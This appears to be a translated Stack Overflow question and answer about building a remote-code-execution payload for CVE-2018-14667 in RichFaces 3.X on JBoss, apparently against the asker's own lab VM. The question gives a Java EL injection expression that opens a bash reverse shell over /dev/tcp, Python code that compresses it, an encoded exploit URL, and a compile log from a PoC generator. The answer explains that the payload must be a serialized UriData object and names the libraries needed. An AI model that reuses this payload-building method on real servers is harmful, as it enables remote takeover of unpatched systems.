CVE-2018-14667；为 RichFaces 3.X 生成有效载荷答案

【问题标题】：CVE-2018-14667; generating a valid payload for RichFaces 3.XCVE-2018-14667；为 RichFaces 3.X 生成有效载荷
【发布时间】：2019-04-23 15:40:18
【问题描述】：

我目前在虚拟机 JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo 上运行，这使我容易受到 CVE-2018-14667 的攻击（只能从我的 LAN 访问）。我已经测试了https://seclists.org/fulldisclosure/2018/Nov/47 中提到的有效载荷，它工作正常。现在，我正在尝试弄清楚如何生成自己的有效载荷以获得反向 shell。

这是我目前找到的用于生成我自己的有效载荷的信息；

这需要通过 zlib 压缩：

#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}

如何用zlib压缩：

import zlib
import binascii

data = '#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}'

compressed_data = zlib.compress(data, 2)

print('Original data: ' +  data)
print('Compressed data: ' + binascii.hexlify(compressed_data))

然后，使用base64url对压缩数据进行编码：

https://simplycalc.com/base64url-encode.php

然后像这样测试它：

http://192.168.2.37:8181/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/Nzg1ZTQ1OGFjZDBhMDIyMTE0NDY1ZjQ1MGM0MjE3NWQ0NzgzNmEzNmIzNjk1YjliZGVjMGM2Y2I4YzhkNjk4ZDNmMDRkMWJiMjcwNWI1ZjkzODljZjMyZDllMzNkZTMzYzYwNDAzYTZiZGQzMzEzMmZlYzM0M2QwMDZlNzJhNWM4NTZmYTQxNzVkMzQzOGVkMDczODY1OWZlYzE1ZTllNzdmYzQzNDA2YzM2OGM1YmZiN2JlODQwOTk5Y2ZjZTcxYzAwN2Y2OGM5ZTc1MWNjOWNhOTI4ZTA4ODM0NWE0ZmUyNjY0YWI0MDZlNzZhMDYwYmQxNWIyNjkyNTY5YmFhNTI0YWEwZWU1YWYzN2MzYzEzMzg1

不幸的是，每次我收到 HTTP 状态码 500 时都会说：

javax.faces.FacesException: 解码资源数据时出错

我整晚都在试图解决这个问题，但没有成功，所以我决定在这里问一下，也许我可以找到解决当前问题的方法。

任何帮助将不胜感激。

谢谢

--- 更新 ---

您可以在此处找到用 Java 编写的 PoC 生成器：

https://pastebin.com/raw/YRKdatWv

1) 将其命名为 Main.java 2) javac Main.java

不幸的是，我没有运气；

Main.java:1: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagMethodExpression;
                          ^
Main.java:2: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagValueExpression;
                          ^
Main.java:3: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.Location;
                           ^
Main.java:4: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.TagAttribute;
                           ^
Main.java:5: error: package org.ajax4jsf.resource does not exist
import org.ajax4jsf.resource.UserResource;
                            ^
Main.java:6: error: package org.ajax4jsf.util.base64 does not exist
import org.ajax4jsf.util.base64.URL64Codec;
                               ^
Main.java:7: error: package org.jboss.el does not exist
import org.jboss.el.MethodExpressionImpl;
                   ^
Main.java:8: error: package org.jboss.el does not exist
import org.jboss.el.ValueExpressionImpl;
                   ^
Main.java:9: error: package org.jboss.el.parser does not exist
import org.jboss.el.parser.*;
^
Main.java:10: error: package org.jboss.seam.core does not exist
import org.jboss.seam.core.Expressions;
                          ^
Main.java:11: error: package org.richfaces.ui.application does not exist
import org.richfaces.ui.application.StateMethodExpressionWrapper;
                                   ^
Main.java:21: error: package javax.el does not exist
import javax.el.MethodExpression;
               ^
Main.java:22: error: package javax.faces.context does not exist
import javax.faces.context.FacesContext;
                          ^
Main.java:43: error: cannot find symbol
        MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
        ^
  symbol:   class MethodExpressionImpl
  location: class Main
Main.java:43: error: cannot find symbol
        MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
                                       ^
  symbol:   class MethodExpressionImpl
  location: class Main
Main.java:44: error: cannot find symbol
        ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
        ^
  symbol:   class ValueExpressionImpl
  location: class Main
Main.java:44: error: cannot find symbol
        ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
                                      ^
  symbol:   class ValueExpressionImpl
  location: class Main
Main.java:44: error: cannot find symbol
        ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
                                                                                   ^
  symbol:   class MethodExpression
  location: class Main
Main.java:45: error: cannot find symbol
        StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
        ^
  symbol:   class StateMethodExpressionWrapper
  location: class Main
Main.java:45: error: cannot find symbol
        StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
                                                ^
  symbol:   class StateMethodExpressionWrapper
  location: class Main
Main.java:46: error: cannot find symbol
        Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
        ^
  symbol:   class Location
  location: class Main
Main.java:46: error: cannot find symbol
        Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
                                ^
  symbol:   class Location
  location: class Main
Main.java:47: error: cannot find symbol
        TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
        ^
  symbol:   class TagAttribute
  location: class Main
Main.java:47: error: cannot find symbol
        TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
                                        ^
  symbol:   class TagAttribute
  location: class Main
Main.java:48: error: cannot find symbol
        TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
        ^
  symbol:   class TagMethodExpression
  location: class Main
Main.java:48: error: cannot find symbol
        TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
                                                      ^
  symbol:   class TagMethodExpression
  location: class Main
Main.java:51: error: cannot find symbol
        Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
                                                    ^
  symbol:   class FacesContext
  location: class Main
Main.java:59: error: cannot find symbol
        TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
        ^
  symbol:   class TagAttribute
  location: class Main
Main.java:59: error: cannot find symbol
        TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
                               ^
  symbol:   class TagAttribute
  location: class Main
Main.java:60: error: cannot find symbol
        ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
        ^
  symbol:   class ValueExpressionImpl
  location: class Main
Main.java:60: error: cannot find symbol
        ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
                                     ^
  symbol:   class ValueExpressionImpl
  location: class Main
Main.java:61: error: cannot find symbol
        TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
        ^
  symbol:   class TagValueExpression
  location: class Main
Main.java:61: error: cannot find symbol
        TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
                                                    ^
  symbol:   class TagValueExpression
  location: class Main
Main.java:65: error: cannot find symbol
        TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
        ^
  symbol:   class TagAttribute
  location: class Main
Main.java:65: error: cannot find symbol
        TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
                                ^
  symbol:   class TagAttribute
  location: class Main
Main.java:66: error: cannot find symbol
        ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
        ^
  symbol:   class ValueExpressionImpl
  location: class Main
Main.java:66: error: cannot find symbol
        ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
                                      ^
  symbol:   class ValueExpressionImpl
  location: class Main
Main.java:67: error: cannot find symbol
        TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
        ^
  symbol:   class TagValueExpression
  location: class Main
Main.java:67: error: cannot find symbol
        TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
                                                     ^
  symbol:   class TagValueExpression
  location: class Main
Main.java:71: error: package UserResource does not exist
        UserResource.UriData uriData = new UserResource.UriData();
                    ^
Main.java:71: error: package UserResource does not exist
        UserResource.UriData uriData = new UserResource.UriData();
                                                       ^
Main.java:103: error: cannot find symbol
        byte[] dataArray = URL64Codec.encodeBase64(zipsrc);
                           ^
  symbol:   variable URL64Codec
  location: class Main
42 errors

【问题讨论】：

这是在 FireFox 中吗？可以试试 Chrome 或 IE 吗？
是的，还是同样的问题。 seclists.org/fulldisclosure/2018/Nov/47 中提到的有效载荷有效，但我正在尝试弄清楚如何生成我自己的有效载荷
有使用zlib的java文档在哪里，我没找到

标签： java jboss richfaces exploit

【解决方案1】：

您需要使用org.ajax4jsf:ajax4jsf、org.jboss.el:jboss-el、org.jboss.seam:jboss-seam、org.richfaces:ui、com.sun.facelets:jsf-facelets 编译和执行 POC 生成器，并且可能还需要对类路径进行一些传递依赖。

您的 sn-p 不起作用，因为它不仅仅是应该在有效负载中的 Base64 编码的 EL 表达式。相反，您应该使用ObjectOutputStream 序列化包含EL 表达式的特殊构造的UriData 实例。有关 Java 对象序列化的更多信息，请参见 Serializable 的 Javadoc。

你很难在 Python 中模仿这种特殊的 Java 绝育。您可以尝试为此使用javaobj-py3。我不会为它编写实际的代码，这对我来说没有任何练习:)

【讨论】：